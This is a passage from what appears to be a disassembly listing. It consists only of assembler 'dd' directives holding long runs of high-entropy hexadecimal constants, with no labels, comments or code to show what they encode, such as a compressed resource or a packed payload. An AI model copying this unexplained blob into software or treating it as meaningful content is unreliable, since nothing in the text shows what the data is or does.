		dd 0F8408370h, 319AF4ECh, 0F048FCA1h, 0E40104BFh, 0A5B0877h
		dd 0D1138850h, 37C0C4EFh, 86FC80AAh, 90C5A707h,	0D04A498Eh
		dd 12F00477h, 3EC0CF1h,	0C5785CB7h, 0F521BF0h, 0A8F300B4h
		dd 0AD8BBC87h, 92733328h, 0C1005A09h, 0F587A0D3h, 1B6DC53Fh
		dd 0B6783780h, 0C74650C8h, 0F13DA600h, 6CD6F772h, 402C50CEh
		dd 3E1F0E10h, 938179D4h, 98077118h, 0AF21E808h,	323E0037h
		dd 0A51E3D80h, 9DECDE8Ah, 7990EA15h, 72E701BCh,	1BE3D5A8h
		dd 685609Fh, 0E17E949Bh, 2FF9971Fh, 0CE02080h, 0CCD9E848h
		dd 0AA418C08h, 0FD300100h, 40B2CDA1h, 54B4002Dh, 39A5A272h
		dd 8016B12h, 0BF25837Bh, 2830283Eh, 19C81475h, 7064CCBCh
		dd 2FD5609Fh, 4320701Fh, 0FC8420Dh, 0E02FFDBEh,	0C05D838Ah
		dd 94EF5077h, 5B27A07h,	5905F863h, 32D04074h, 0E4972C7Ah
		dd 46E247F4h, 7FD01200h, 60D69345h, 0E4E85276h,	70660400h
		dd 0D4EC3340h, 0F105C6EEh, 0D72D5DEBh, 3238C3Bh, 4354F839h
		dd 0AE0025F4h, 4952817Fh, 0F70DC2Ch, 0E33192F5h, 808F63AFh
		dd 28A74D9Eh, 84380BD0h, 38301354h, 6618A5DEh, 90C845ACh
		dd 20116077h, 508EC8F6h, 2258C0A1h, 0E81C0260h,	42E43230h
		dd 940084CCh, 734B3080h, 9770CDh, 0EFE1B83Ah, 0E7F4D29Fh
		dd 6060AE74h, 3A153021h, 0EC580043h, 3D398070h,	3100AA53h
		dd 0EA7528C9h, 3FCDBE8h, 0C2370AB1h, 380026DEh,	36FEC577h
		dd 71AF27F9h, 7DA00060h, 5B7A9D4Eh, 44600180h, 0B1B4F848h
		dd 26D3007Bh, 13C94DE5h, 76000BC0h, 3D6BDFF9h, 7696E819h
		dd 867C8Ah, 64DE2836h, 0CED1F057h, 7A74251Dh, 934B7700h
		dd 3A02B790h, 278CC3FCh, 5F089204h, 0B94B90C0h,	0C56B7B8h
		dd 3C217AFCh, 4F69BC80h, 2A3600B1h, 396898BFh, 8F87AF7Eh
		dd 1C714032h, 0EC007341h
		dd 0C04E0B18h, 31FA0Ch,	6AE6B313h, 83F7476Ch, 7B00DFE8h
		dd 0D4E2CEDEh, 0D7D202h, 1D52F826h, 5EAA58D3h, 7E8CBE01h
		dd 0BBC08DDFh, 0CE089Eh, 0FD5AD85Fh, 6E0C26D6h,	0A0088980h
		dd 94C0A3Dh, 40D876E5h,	0E18F3A01h, 0BEAE1721h,	35004CA0h
		dd 987739FAh, 1A644F6h,	0D75B282h, 54B1A75Bh, 269C0894h
		dd 0FBB7B3C1h, 0D6189BC5h, 0BBC621C0h, 529D9B7h, 0E0711B89h
		dd 23243AD2h, 24FA00C8h, 8A15C4C2h, 0B4167403h,	0A0E55FA5h
		dd 72EE79h, 6327C7F3h, 664671A3h, 52BCF9C5h, 620ED441h
		dd 0A1E88B8Dh, 6EA50418h, 80F35834h, 7428FE34h,	12E6CEB0h
		dd 0DCA84A75h, 62078FADh, 82A45CFh, 2A324D63h, 0ACF908h
		dd 0AD672786h, 457760F5h, 82BFA701h, 28C0FF7Fh,	0ABEE7980h
		dd 6E0C6B89h, 0D0A06091h, 0A9E69021h, 4CCBE2A8h, 4B0B318h
		dd 0D87F7580h, 0E1888004h, 0A406A3BCh, 0F64B26D4h, 0DD750051h
		dd 37DF40Bh, 0FC0307AAh, 5C0C4F43h, 0AF8CC8EFh,	0F0E20040h
		dd 0F2D08F01h, 422BE384h, 96788086h, 15DB83Eh, 551316E8h
		dd 40B63CD6h, 3582D5F1h, 7322F300h, 86D2C26Eh, 0DD7F0430h
		dd 98144C3Ch, 3A040450h, 0AF0FE1B4h, 21006833h,	0CB39F934h
		dd 0FC27CDCh, 0CC71F760h, 72891F6Eh, 1D94B420h,	0C7002BEEh
		dd 0EA98CA85h, 9174D70Ah, 524200E4h, 0C42A76E7h, 5BD02100h
		dd 272B3ADFh, 29A40091h, 0A616FCCDh, 5C608B39h,	0D2D47779h
		dd 247B4C25h, 3A084E09h, 9CE26001h, 0D445D617h,	0A52EC20h
		dd 8EAC506Ch, 0BCFFE124h, 3A41CCC4h, 0CC843D17h, 0F0BF7DE0h
		dd 0BED424BEh, 0DC81605Ch, 0F500C523h, 16D86529h, 2456663Eh
		dd 28E859CFh, 0FBDC8160h, 62088C18h, 0C43245B8h, 248D40F6h
		dd 972D67h, 4C6E1C09h, 60CC8B0Dh, 0D05BCE06h, 0C8F08FDDh
		dd 91C0FC58h, 4645C162h, 0FC223Ah, 5A67298Ch, 48319F51h
		dd 48826430h, 104BB6DFh, 3A74650Fh, 2C18297Fh, 0D628D01h
		dd 1A185A44h, 259021C0h, 3F723867h, 7F00C9DBh, 6EE40E98h
		dd 0F2314B24h, 5BB329CFh, 0F8516FD9h, 1980D05Ch, 0D7FE5EFDh
		dd 711353E0h, 4422C8A4h, 0B78F302Ah, 0BBFBFF11h, 0BA9F7B88h
		dd 151380F8h, 0FFC38F7Dh, 3A2D247Ah, 27BF0AE8h,	842F8CD8h
		dd 80EFB30h, 678EDF6Bh,	0C08025DCh, 617424B6h, 33AB5187h
		dd 0E8717020h, 8C96800h, 7E095C80h, 0CD94A842h,	0BB960AE2h
		dd 3A88305Fh, 0A7D45C7Ch, 0FD567005h, 6BBC40D3h, 0B69935F2h
		dd 5ABE5B01h, 7AB0E512h, 2C158C30h, 32C55184h, 0F84C92A8h
		dd 34C16E24h, 1E1A4040h, 0A0CC4AE2h, 609F8D1Bh,	486FB896h
		dd 0E41274C2h, 69C820E6h, 7D00315Ah, 6B0D04D2h,	0F5759F9h
		dd 9EFA34Dh, 3DD1D7E0h,	260EB3B2h, 625865C5h, 807A5F6Ah
		dd 8B33926Ch, 0CAF02C70h, 4153ECCh, 6D00D8CBh, 3DF2FB2Ah
		dd 3248E9CEh, 0D8EF01C8h, 4ACF4797h, 0EC6279C1h, 48C15034h
		dd 0B5C024E8h, 46FC01B7h, 981228Bh, 7FB7BDC4h, 5C0F877h
		dd 0A4E12C91h, 50C096F3h, 0E695E8A0h, 757188h, 178B4283h
		dd 126D1C65h, 29E81BF2h, 710F3100h, 51427B67h, 44F30098h
		dd 4B28526Ch, 0C00F6150h, 0C0943E7Ch, 0A477AF0Eh, 35410034h
		dd 0D8EE842Bh, 74036EBAh, 5ABF31B3h, 75510395h,	17694289h
		dd 26386844h, 3BD53240h, 0B0004281h, 0F3B4FD6Bh, 4503A72Dh
		dd 597EE538h, 0A490594h, 0C0180269h, 115B8E6h, 3D1E7DE0h
		dd 621F8D6Eh, 9F7C0840h, 60778792h, 68918178h, 0DB3CC5F6h
		dd 0F3FB8C5Dh, 602508CDh, 60B72096h, 0D00DDF6h,	9E665669h
		dd 0C86F8C7Fh, 90C0B0C9h, 46176A42h, 212D307Dh,	1D4288D2h
		dd 83C8808Fh, 7C205C9Fh, 98806FCAh, 0E4BC17B0h,	2B327D00h
		dd 0B59A310Ah, 6071600Dh, 0D96072E9h, 2F110160h, 38E55B0h
		dd 356E6588h, 818AD80h,	0C22072FEh, 25550069h, 0B7E69790h
		dd 0CE0FCF3Ah, 753BF7EEh, 0BC1A0EACh, 6D094E0h,	49779E02h
		dd 5F3A00D8h, 7A4A2C5Ah, 0FA07F7BAh, 9152CBB3h,	3A6403CEh
		dd 95403C37h, 6A39C681h, 0C48ED3C0h, 8CDBBB8h, 0BEF4213Ah
		dd 0F72F1339h, 0C45404B0h, 0A7089330h, 0D10FC91Ah, 3E3EF418h
		dd 48C1DD00h, 0B85366D8h, 592C3114h, 4284C7B0h,	1C5D17D1h
		dd 0A7CE280Bh, 293B5900h, 0C49DB3CBh, 0A89250DCh, 0E23EE68Ah
		dd 82E5F7AEh, 1C9AE830h, 0C311EC40h, 8BE16850h,	4E5A480Ch
		dd 48502Ch, 0B66DB846h,	30BD45ABh, 61BCED0Eh, 0CB984067h
		dd 1EDF56h, 22494F23h, 7AD411B2h, 8043C43Eh, 8DBC7CF0h
		dd 73D0D89h, 2B6E5C02h,	6FE871F3h, 4BF0EC0Ah, 6207DD00h
		dd 0C3EA885Dh, 4CB8F6h,	23419028h, 74B86D87h, 0A372BF00h
		dd 6188CFC9h, 58311E3Dh, 0C724F6h, 63BDFB1Bh, 0C50041A3h
		dd 48445150h, 0F357F33h, 58E2FA42h, 0D7822761h,	4E9770BCh
		dd 80C6CF38h, 0D0C5E33Ah, 0B4A29Dh, 7810B876h, 7C46772Eh
		dd 12C72400h, 2B8DC4AEh, 0E6180048h, 80AAF832h,	93006304h
		dd 15F01358h, 347392h, 0DD8D84A2h, 91AF2106h, 36863800h
		dd 4D2A2237h, 0E983003Ah, 62C415BBh, 0EE002F0Bh, 0BC5347CDh
		dd 4858FE27h, 0AE2434D0h, 346F0006h, 0A1AB9D5h,	74002A70h
		dd 4BB05F6Bh, 0A18F84h,	0C310ECA6h, 2481B22Eh, 74A50B07h
		dd 0DFF05D56h, 7307294h, 0C8B3042Fh, 0CC9A5265h, 80186041h
		dd 862D5F50h, 4C2452h, 97D9B15Ah, 1C90BE58h, 7E1C50E2h
		dd 4700E08Ah, 8760BF5h,	0F2E30352h, 3B322136h, 0F4734AC8h
		dd 5772DB8h, 0C7A2600h,	0EF79E763h, 5FD8008Ch, 8E496280h
		dd 9A00D9E5h, 0E4A5EA0Ah, 69021Ch, 0ED8F0F75h, 6C597D60h
		dd 0CE80F000h, 4C115438h, 93DA07FAh, 0A039AC89h, 0DC216C0Bh
		dd 476BEF00h, 6D09E54h,	9CC0018h, 1CC6CDB2h, 0EA00AEA2h
		dd 83B86577h, 636DA7E1h, 0ED4A30F0h, 1B0A1CB0h,	28FC7209h
		dd 69942091h, 9079BDEEh, 607000ACh, 559BC0DAh, 38002DCFh
		dd 92AECE16h, 8684E9h, 0AF6FF21Fh, 0E1FD0628h, 2D2C5700h
		dd 0C543B4D7h, 53480146h, 78344574h, 0D4188023h, 2D82CBB1h
		dd 181A7735h, 0C2F908Ah, 1CB0C45Bh, 8F296F00h, 0A8100ED0h
		dd 1B3900E3h, 0A015F383h, 8B00E450h, 0AAD9F791h, 38EC3B6Dh
		dd 0FF80CD56h, 78C08A1Eh, 0F0021150h, 0E4200899h, 21574070h
		dd 1DDFA0Fh, 3B7FA877h,	600E7433h, 0FD00CF6Fh, 7030A5C7h
		dd 241353Fh, 860B79F0h,	0C6406F5Ah, 800016F1h, 0D01E937Ch
		dd 9FFBAD6h, 0BCC78437h, 0DBE69400h, 83004913h,	1D56867Ah
		dd 364C385h, 0D7890577h, 17E80172h, 7E05F437h, 61CEC469h
		dd 0DA8116C0h, 0E87152h, 5ECB4A11h, 0C3E28F8h, 638030E3h
		dd 2B803001h, 0FAD2C238h, 49728140h, 5FB9002Ch,	0A69F6861h
		dd 25064ADDh, 0ABF3309Ah, 0AF0500E8h, 0E24E927Fh, 0C60EC19Bh
		dd 20E0DD38h, 0BFFF420Ch, 4457000Bh, 0A8CDB824h, 5C005116h
		dd 0EB7F9F5Eh, 7BFA90E7h, 0F83E00CAh, 0E9B78A3Fh, 0B900B8CEh
		dd 1EBB6DE1h, 969A99h, 987A05B0h, 0B1CFE997h, 334AAC01h
		dd 0D1B5A8C1h, 1F3FE0C7h, 0ED09007Ch, 0FEEEDB21h, 0D607688Dh
		dd 789D5AB4h, 3807A640h, 636E0053h, 0DFF6E571h,	0CE09BEF3h
		dd 7FA68FBh, 4E402500h,	26DFDEBh, 12936B5Fh, 3C4080ABh
		dd 0C100EC09h, 291D379Ch, 0C0850195h, 5D4F8318h, 0C40045FAh
		dd 3334EACCh, 1CB4CA37h, 40D680D9h, 1B9011FDh, 0F2074521h
		dd 0F6D4C060h, 2354DD31h, 4AF0C5E5h, 0B9B083h, 2D28DA3Dh
		dd 90859F7Bh, 9ECCD0Eh
		dd 0D0F805Ch, 18BFE20h,	5D0B5774h, 606698D1h, 2F00C890h
		dd 8610429Ch, 0A0188884h, 0FE8CE9Ch, 28B6F569h,	2A74AFE0h
		dd 0D20EFC8Bh, 20DE8567h, 1AB12F0Fh, 7C92B6h, 0ADE7600Bh
		dd 0D67BD1D2h, 569DDF0Bh, 0B63B8031h, 0E07FDAh,	4C0AEAFBh
		dd 20369273h, 21AFD41Fh, 0A4ED9480h, 0C598E6h, 7F87EE6Ah
		dd 0F1DC7274h, 421DD900h, 867E887Ch, 0AEB00FDh,	11520473h
		dd 1300702Fh, 339A2248h, 0EB9D61Ch, 26D84EDCh, 0C984DAE0h
		dd 0EE02A405h, 74FFF4FCh, 4A98C025h, 0C53A002Fh, 1496463Eh
		dd 0CB0C3F8h, 0B2EEF400h, 9250E593h, 10A00027h,	761B3CFFh
		dd 220FD269h, 4C232h, 0FBDE5BBh, 0FB3F3D55h, 47ADB200h
		dd 0DE972A4Bh, 0E36FD203h, 0C0E42892h, 4C14824Ah, 7A0EEAFBh
		dd 62E14920h, 0E494D7E6h, 0BA00CBB4h, 93BB8DEAh, 5B3C754h
		dd 4E10767Ch, 0D7D90159h, 0C0AEA963h, 0E2008C05h, 4FDFBD90h
		dd 0D89666h, 0CB384C7h,	45BBEA35h, 0C0342700h, 6DACE0FAh
		dd 25EE75h, 7B91671Bh, 0C7413C14h, 0A8666900h, 45DDFBA3h
		dd 7A210305h, 2C40E567h, 0DCDF8880h, 0FDE0A400h, 17093257h
		dd 0C4350068h, 0A9A51160h, 0CE0039FFh, 9612524Fh, 301B3FCBh
		dd 0EC388BC7h, 1779D105h, 465F1F00h, 1C401A2Bh,	5A8BA63h
		dd 16AD2AD8h, 96AF0D67h, 346266h, 0E063919h, 487DAC91h
		dd 0F6000AD9h, 2E5E765Bh, 5600F9E8h, 5CB6E712h,	31773Bh
		dd 9145F1C9h, 0A9CCD2BBh, 540004FCh, 0E14F95E6h, 0D1AC67h
		dd 5C791FF2h, 4AF1EEC6h, 2B006078h, 297DA0BBh, 19EABA2h
		dd 24F0050Dh, 307902E5h, 0D5798950h, 580137B0h,	0B25D0A0Bh
		dd 20DCA6F2h, 3F2B00B9h, 0D3AB9F21h, 0B0596CE7h, 53E1004Ch
		dd 0AEF244D5h, 0D68A0028h, 784CEEDAh, 7E3B8375h, 0F9AF80D7h
		dd 0EAA5325h, 846800D6h, 65D90CDDh, 8E0073B4h, 5FF9EDD8h
		dd 9896A1CEh, 0E856E214h, 309303C7h, 99428F17h,	48B61812h
		dd 3400800h, 38A4320h, 0E67E70C5h, 68D0E855h, 7B00CA87h
		dd 59510535h, 0E5526CB1h, 1F5BCE4h, 8A24983Ah, 80960420h
		dd 0DD9516C1h, 2AC0D561h, 798F37Bh, 0C2799258h,	0AE0A10AFh
		dd 3916550Dh, 0BE076E02h, 0ECE1D4DCh, 7D60374Bh, 8D97042Fh
		dd 0C0D7D5B6h, 50F26E59h, 7C003549h, 0C6D7606h,	0F21C1B2Dh
		dd 0CE2A33F7h, 80BFFA80h, 0B12EDBB0h, 0B6D4025h, 385E0E9Ch
		dd 0EEEAA41h, 0FDEF33A5h, 0B0882D87h, 58AB14E6h, 66684B00h
		dd 82C2CC28h, 87AE3CB6h, 0EB1A6500h, 7B10F653h,	0CA6F642Ch
		dd 0A5F5EF03h, 85C0C7C4h, 0AC8835h, 65603FABh, 22E1208Dh
		dd 5CC99200h, 86CA7FF6h, 3E4F006Dh, 0C189E260h,	0D001526h
		dd 455EC56Bh, 6C55C44Eh, 4420600Bh, 0FE250F02h,	0E0FF1199h
		dd 1767005h, 0D165406Ch, 0EF0FB3D8h, 260281Fh, 0FAA3D5C0h
		dd 0E54069h, 2F51859Ah,	0C0BB4A66h, 65E16F07h, 0D2C3A2E6h
		dd 37610068h, 0C5AE8899h, 7E7F60DFh, 9206FB07h,	1F08B11h
		dd 7E0AE2EFh, 30ED639Ah, 97836C61h, 83EA201Eh, 0F60EB9C0h
		dd 56A18BAh, 3D09D840h,	6800043h, 8C826972h, 71C361E2h
		dd 788F11B8h, 0E01266B0h, 0DB00310Ah, 76E8ADD2h, 0FCDDBB28h
		dd 0AB3E0E74h, 20C688E5h, 0F5E04018h, 0E8A0F051h, 0CE3FCBF7h
		dd 0D990E08Ah, 533B4FEh, 603C89E1h, 8B242077h, 0BF8187CBh
		dd 0F340088Ch, 58DA048h, 6175D2DAh, 122EB48h, 40B9E0C0h
		dd 0E24443A9h, 0CB385FFCh, 0E141C82Dh, 405B200Ah, 8EE7DD78h
		dd 292F2B20h, 5984E140h, 0B190A5Ch, 4AE6410Fh, 641DC880h
		dd 176B0043h, 50A04463h, 52C0C816h, 14B184FFh, 49880960h
		dd 4008194Bh, 0FC800A10h, 0A5775688h, 0AB1248A6h, 200A42CFh
		dd 295688FCh, 88446184h, 0E00D0C8Bh, 36C14897h,	0C6E43824h
		dd 0A01E6008h, 98FD4029h, 0E0A4D59h, 0C541D8EBh, 0BC4A3D40h
		dd 565698F2h, 0CB0E547Ch, 0C0C43C8Fh, 22A00680h, 28E249A1h
		dd 6D58DB21h, 3150A6E9h, 8058872Bh, 2948B8EAh, 9C58A4DAh
		dd 0B298E65h, 8D5890C8h, 464084EDh, 35A5326Bh, 0C48E15D8h
		dd 9094EC8Ah, 4274ACC9h, 4B51616Dh, 90413667h, 0E8423B84h
		dd 0CE0A0F53h, 538FF890h, 8836528h, 192C9805h, 0C0409552h
		dd 203FB0B9h, 74F1560Ch, 157FBB80h, 0B0A994D2h,	40788523h
		dd 0AC78F101h, 0C85619B1h, 610B393Ch, 0D7C0D037h, 670EA65h
		dd 8683C6Ch, 6B2BB09Bh,	4109B339h, 9F092B37h, 622E0A8h
		dd 81C36AD5h, 0A1E9BE4Bh, 607E380h, 2DF008FDh, 512050C6h
		dd 9C602B08h, 22C3E0ACh, 59C26D15h, 0C1828BABh,	34279C90h
		dd 56BD86DCh, 8B023946h, 0A03F8185h, 0B8344F9Dh, 4A08CC8Ch
		dd 0CE44EB39h, 8DC9Eh, 5864AEA7h, 18E81D11h, 0F124C400h
		dd 0BC710B06h, 2B590049h, 0D85E6BDAh, 14019C05h, 40363A1h
		dd 0FBE964A9h, 0DB583888h, 102C6D78h, 71EB5AF0h, 89180840h
		dd 1E384E98h, 4F11D9C6h, 0A49D4301h, 2E8B864h, 7D1C9CD8h
		dd 0C75610ABh, 39A30C16h, 0ED6D68A2h, 0ADE9F8D0h, 33D38174h
		dd 7174083h, 30E1F353h,	58080F30h, 10CCD1E2h, 57B8081Ch
		dd 0E9C180EEh, 889F8BBFh, 8FEE351h, 0D80851F8h,	22203CEEh
		dd 8CED582Bh, 0FF0239E3h, 62C3E17Ch, 0E7B848CEh, 0FC0C8CBEh
		dd 897EC084h, 984F4023h, 77D97666h, 94B63E9h, 2037E2ADh
		dd 0E4C508ACh, 11BF9C7Ch, 15CF6h, 64FB6503h, 0CAFC9F78h
		dd 0F894E508h, 452291C9h, 7BFE20Dh, 6C5869BDh, 0BB1841B3h
		dd 0BE10B9B4h, 8F9808BCh, 0DCEB0CA1h, 0C251DF60h, 0F183D5A4h
		dd 9589E9D8h, 0B03C4A38h, 44FF69F0h, 46634320h,	0B981B870h
		dd 62F9F868h, 7894D8D0h, 93781F6Bh, 3858066Ch, 0C5286090h
		dd 0C1638CD7h, 8EDD7808h, 80257510h, 0A4A1D267h, 38948CEFh
		dd 0C3BA091Bh, 0A79BF8A0h, 0B075202Bh, 0BFA161EEh, 0A3011E10h
		dd 479054B3h, 0C832D88Ch, 35114C19h, 1328A0BEh,	8B81090h
		dd 907637DDh, 41DAD442h, 1C277418h, 64DBDEC1h, 837995E5h
		dd 44D839CCh, 78BA63CCh, 78E1B568h, 2860BA06h, 1819C459h
		dd 0EEE0FB9Ah, 76380889h, 40FC703Eh, 71AB6831h,	3801BDE3h
		dd 2D580167h, 46268507h, 8DE41BCh, 0C0F47757h, 51C2AB4Fh
		dd 16C3801Dh, 72622492h, 83A93858h, 51D3F89Ch, 7198F008h
		dd 0E980822h, 0C60BD880h, 0F0B83819h, 690A46Fh,	31088441h
		dd 0CF40868Bh, 15080385h, 945BF808h, 0FE40E73Ah, 7B808C6h
		dd 909C6F11h, 1808898Ch, 98BBF633h, 40085151h, 77B8F000h
		dd 6428CDA0h, 994EF110h, 0C821E909h, 55380888h,	666B7803h
		dd 67983168h, 206D4108h, 6E40D668h, 0F808C385h,	2024626Ah
		dd 980C7CC6h, 40EB0954h, 6F666569h, 4009EA20h, 9531B850h
		dd 6A4470B6h, 2004509Dh, 686BCC33h, 380812C1h, 8E4845E7h
		dd 0B840592h, 9D900A91h, 485C28E4h, 0E43110D6h,	0F2731808h
		dd 4D8AC02h, 9558043Ch,	42B85C80h, 9238C4D9h, 0E0AF04DFh
		dd 4F7E3C82h, 910281A4h, 11D5CFBh, 0B8402F23h, 0CAD39BD8h
		dd 24E4B348h, 845037D0h, 4909F78h, 0B9086242h, 93220344h
		dd 5919312Ch, 7710BD6Bh, 81F80886h, 0CA4018BEh,	1A514418h
		dd 3D7808C4h, 1937B806h, 20B26520h, 7067B39Ch, 19C85B11h
		dd 2488194Eh, 9CEB9FCh,	0A760B94Ch, 26E25025h, 0B64909F1h
		dd 49F62254h, 0F92444EDh, 220E914Ch, 0F188449Fh, 97125089h
		dd 67487E24h, 0E8224991h, 8954DB44h, 494C1242h,	8412D148h
		dd 463BA22h, 15288546h
		dd 807928A8h, 38807CB8h, 60916AD4h, 0C8DA4730h,	0CA11C819h
		dd 15C7801h, 5801C018h,	4989123Fh, 9030CF48h, 386040B8h
		dd 808166Fh, 33DA91EBh,	0CC88211Ah, 0A4023894h,	838D27D8h
		dd 2C83B2D8h, 8C40DD90h, 56A88A80h, 7138D566h, 48981810h
		dd 0C4EA88B1h, 0C6DC18C4h, 78DE3483h, 406B4808h, 0E2B1F80Ch
		dd 0E140F010h, 3118B083h, 6E099A58h, 4A9897F4h,	78982004h
		dd 0D008237Ch, 381EE0B4h, 58D36FFEh, 12C8844Ch,	257092EDh
		dd 829804Ch, 0A43B4118h, 0BDF8B460h, 134E301Fh,	0B36E4361h
		dd 68C22492h, 4834458h,	3E4A49E9h, 1062F2D8h, 1319EB05h
		dd 0BC1C33A3h, 1812D190h, 9860069Eh, 0A1F0C0C9h, 18EEC8ABh
		dd 689210F0h, 0B230F344h, 64684920h, 31BC8510h,	0CBF810EBh
		dd 1980889h, 8606826h, 0A265F798h, 0B4924318h, 0C56449FAh
		dd 5FF80888h, 8194B809h, 6E9718B4h, 1F4B0892h, 12B61070h
		dd 6C04D138h, 0B8D31DD8h, 0B8080CDAh, 5A58B471h, 763144B2h
		dd 6B19186Ah, 485C2893h, 203C10A4h, 87182482h, 1EA28944h
		dd 0C80A54BCh, 0A4E184E0h, 0A2D58389h, 0CA85C314h, 989C012Ch
		dd 20271EADh, 0F293469Dh, 0E32049D2h, 73826A2h,	40B81AD0h
		dd 0F30C10BCh, 41994662h, 0A84B59C3h, 781EA312h, 0F2119F04h
		dd 23157BD3h, 81B478AFh, 8B42999Fh, 0A75A0331h,	12486058h
		dd 0D67C4A95h, 0BA0DD878h, 0E2921E22h, 1E689270h, 47118A26h
		dd 0D314A70Dh, 0A3C07788h, 0E3F0F2BBh, 0AA18C80Eh, 0DD466309h
		dd 0BF2098D2h, 1A5300F4h, 960550B8h, 0E1A0CC17h, 4B310311h
		dd 894A4088h, 0C4BEC3E0h, 3CC92348h, 0E97011BCh, 25AC109Eh
		dd 3864E33Eh, 86C6863h,	4ED4E36h, 90658C01h, 94F54311h
		dd 5B15088Ch, 8C319D8h,	315C7CE3h, 430881A0h, 5711905Dh
		dd 194E8318h, 30C56237h, 800CB15Ah, 3C2308B5h, 0E15FA6EFh
		dd 15989BC9h, 0F2B0B908h, 12543804h, 2CC46519h,	0A6CB6CE1h
		dd 0FE1C0398h, 0BE218E5Bh, 857E4EA0h, 0A8E4C100h, 87197652h
		dd 3B980030h, 69C34849h, 590CE24Ah, 30E6B5A3h, 19EC74B1h
		dd 8F4FD6Eh, 73AE00F8h,	40EEF8F1h, 1C648E68h, 84680E60h
		dd 0F8894008h, 0D0030649h, 413340EBh, 231B58F9h, 7C40CE40h
		dd 88E02ABEh, 2E80FBE3h, 80B4630Fh, 5031BBE4h, 0CD4E08D6h
		dd 1920F013h, 1EAE32ECh, 0A348E68h, 58869B43h, 0F1B0BB84h
		dd 0F6FDAE68h, 0F74048C6h, 0FAAA3040h, 5C02FBB0h, 0B365C8F8h
		dd 0B47C1E10h, 0CCAF1155h, 0C3231450h, 0BE8E08B0h, 0BCCD14EDh
		dd 0E745CE0Ch, 78DD7BE0h, 0E1088E1Bh, 0C807F031h, 11C20E0Ch
		dd 0DE8E80AEh, 80CB4E80h, 6E80F72Eh, 0EE21CCF2h, 0F1401119h
		dd 0CE08C40Ah, 27CC1F4Dh, 0C45810F2h, 4564E08h,	0EE047F2Eh
		dd 8A1486Bh, 6E08960Eh,	8CD8948Fh, 9F7637Ch, 1833FB5Ch
		dd 0BE4E08DFh, 0EF24011h, 60FC1A33h, 8E08106Dh,	0AB407CA5h
		dd 21DE63AEh, 403AFD05h, 64C1407Bh, 93F618F9h, 920F120h
		dd 3A0E7DEDh, 1D245C04h, 0FC18F94Ch, 4840FBD7h,	0C0E35083h
		dd 0CC228AEh, 8B76CECh,	20F109C0h, 20C6A188h, 4990A253h
		dd 0EFF05C18h, 15446E3Eh, 0EEB03363h, 61228CE8h, 0F8E34189h
		dd 0CEF80F8Bh, 8E68B062h, 170E025Dh, 0EC835C4Fh, 1807644Ah
		dd 0C8FEC369h, 4893172Eh, 21F096E0h, 0A339C43Ch, 43AE04FBh
		dd 1BBF4093h, 8BB0E98h,	1120BDC3h, 0BA6E31B7h, 99970FB9h
		dd 1A093A30h, 0A3DBC5Fh, 79591518h, 0F3492803h,	8A6322Ch
		dd 18E30897h, 9FFD08A0h, 0AB8718C6h, 0ACE03358h, 80CD7A8h
		dd 0E8B24ECEh, 8E08C477h, 1700D225h, 0CBC0E22h,	19576E09h
		dd 0A4BDC1DCh, 0E3112AACh, 0F28034B2h, 0F620789Ah, 0C6DE75FCh
		dd 70F9A718h, 88086828h, 0BC91C64h, 2B3E6148h, 5FE0E413h
		dd 89AB4945h, 4E798643h, 6A70EFD3h, 33A47847h, 168A8E70h
		dd 8706C484h, 7C14C51Ch, 27117CF8h, 2318B055h, 0A42E60FAh
		dd 81AED8C4h, 0A9EA492h, 0EDD93180h, 0BE120201h, 0A22004ECh
		dd 28406C8h, 6F4C783h, 0CA160AEh, 166895FAh, 0BBB0F7C0h
		dd 8083FF82h, 0C889CD63h, 692C8852h, 98BCEE00h,	0E0AC152Bh
		dd 9D8C92F7h, 15C399C5h, 1848947Ch, 317BA142h, 0C49A6AA3h
		dd 84030D24h, 0F0841015h, 4467AFFEh, 686203B2h,	20BAE40h
		dd 80BE0F8Eh, 0B7607B0Ch, 4DE34175h, 0DC241CCAh, 78329004h
		dd 0C17C1256h, 5848C41Bh, 0EED54310h, 2048BE83h, 95F0366Eh
		dd 0D1CE08C4h, 3FB1E34Ch, 12F8AB65h, 1546987Ch,	0D8E7C8ABh
		dd 60BA2318h, 94AF11CEh, 0DD732B81h, 830182D5h,	9C38A864h
		dd 8CB9908Fh, 71998FD9h, 2E2A4063h, 0C3880B57h,	0C6D5518Dh
		dd 36C32239h, 0B88B854h, 88B874ADh, 8844E7FAh, 4E0834A3h
		dd 14FDF80Eh, 39C4A6FCh, 8E05D903h, 47C0464Eh, 0D5640A5h
		dd 4947C17Ch, 0E311C615h, 0CCDC640Bh, 0AF08A040h, 0FAE58780h
		dd 438CF8C8h, 0AD074172h, 0F988827Ch, 2327D355h, 7F8250Bh
		dd 0F9C47C6Dh, 862320BEh, 0FC78832Ch, 804A3196h, 68D87809h
		dd 0EC673FD9h, 7C3263C0h, 0B60930FEh, 0DAF30C74h, 0C379C55Dh
		dd 0EE386C62h, 0C74B608h, 0A7933477h, 7140A339h, 7444560Eh
		dd 0A7B4ACC1h, 0A603116Ah, 46AE388Ah, 2244D854h, 322B9022h
		dd 46E1A3E3h, 690854B6h, 8DA32611h, 1EE18A43h, 0E72F0454h
		dd 234457A1h, 402E0591h, 11B2C47Ch, 128E0738h, 84820483h
		dd 3C70B63Fh, 0D9120164h, 38D42684h, 700FCE45h,	9821261Ch
		dd 0A1C371B2h, 31BC0E4Ch, 0C1CE088Ah, 48561196h, 8E0685B4h
		dd 61D0A297h, 0DAAE0889h, 0CB6898ABh, 4104CE08h, 6E02C2BCh
		dd 0A54E0375h, 32A11120h, 4209920Eh, 550CA8BEh,	0A9CE1599h
		dd 0A844AA3h, 0F8A84140h, 8A2259D9h, 0C8032C9Eh, 0A83C9568h
		dd 372B03F0h, 8C396169h, 8ACE380Ch, 1A08A836h, 8B9F03B3h
		dd 442F0943h, 0BDB070B5h, 0FF20B060h, 2F233B84h, 15537062h
		dd 88473CE1h, 56B2E08h,	0AA7D88Eh, 0F8803EBCh, 3A10FD3Dh
		dd 831B8092h, 41BE5936h, 0C1843D57h, 730A0F15h,	5B634188h
		dd 794F0E0Fh, 885F3D98h, 7F69AD06h, 0C3184128h,	0B7C80C5Bh
		dd 3838CAACh, 0E31BF88Ch, 41358B31h, 37122CA3h,	63F07CB6h
		dd 2B9B7722h, 60743A03h, 254394E3h, 4984BA8Bh, 885777Ch
		dd 0C0799EEh, 4E0892BCh, 400C654Ah, 40AE0872h, 9663CE99h
		dd 319B7611h, 4E086E70h, 9DF064A3h, 0BF649092h,	0EE02B911h
		dd 8C43B03Fh, 3A5709F6h, 0F521C1ACh, 431134CDh,	0AEA88883h
